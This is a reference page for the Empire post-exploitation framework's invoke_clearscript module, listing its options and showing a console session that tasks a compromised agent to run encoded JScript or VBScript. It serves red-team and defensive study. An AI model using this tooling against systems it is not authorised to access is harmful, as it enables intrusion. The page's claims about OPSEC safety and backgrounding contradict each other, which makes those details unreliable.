Invoke-ClearScript - Empire Module


This page contains detailed information about how to use the powershell/code_execution/invoke_clearscript Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Invoke-ClearScript
Module: powershell/code_execution/invoke_clearscript
Source code [1]: empire/server/modules/powershell/code_execution/invoke_clearscript.yaml
Source code [2]: empire/server/data/module_source/code_execution/Invoke-ClearScript.ps1
MITRE ATT&CK: T1059
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: Yes

The invoke_clearscript module executes JScript (or VBScript) using the embedded ClearScript engine.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the invoke_clearscript module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the invoke_clearscript module:

Agent
Agent to run module on.

script
Base64 encoded VBScript/JScript code.

Additional Module Options

This is a list of additional options that are supported by the invoke_clearscript module:

JScript
Set JScript as script code.
Default value: True.

VBScript
Set VBScript as script code.

Invoke_clearscript Example Usage

Here's an example of how to use the invoke_clearscript module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/code_execution/invoke_clearscript

 Author       @byt3bl33d3r                                                          
              @Cx01N                                                                
 Background   True                                                                  
 Comments     https://github.com/byt3bl33d3r/OffensiveDLR                           
              https://github.com/BC-SECURITY/OffensiveDLR                           
 Description  Executes JScript (or VBScript) using the embedded ClearScript engine. 
 Language     powershell                                                            
 Name         powershell/code_execution/invoke_clearscript                          
 NeedsAdmin   False                                                                 
 OpsecSafe    True                                                                  
 Techniques   http://attack.mitre.org/techniques/T1059                              


,Record Options----,----------,---------------------------------,
| Name     | Value | Required | Description                     |
|----------|-------|----------|---------------------------------|
| Agent    |       | True     | Agent to run module on.         |
|----------|-------|----------|---------------------------------|
| JScript  | True  | False    | Set JScript as script code      |
|----------|-------|----------|---------------------------------|
| VBScript |       | False    | Set VBScript as script code     |
|----------|-------|----------|---------------------------------|
| script   |       | True     | Base64 encoded VBScript/JScript |
|          |       |          | code                            |
'----------'-------'----------'---------------------------------'

(Empire: usemodule/powershell/code_execution/invoke_clearscript) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/code_execution/invoke_clearscript) > set script value
[*] Set script to value
(Empire: usemodule/powershell/code_execution/invoke_clearscript) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.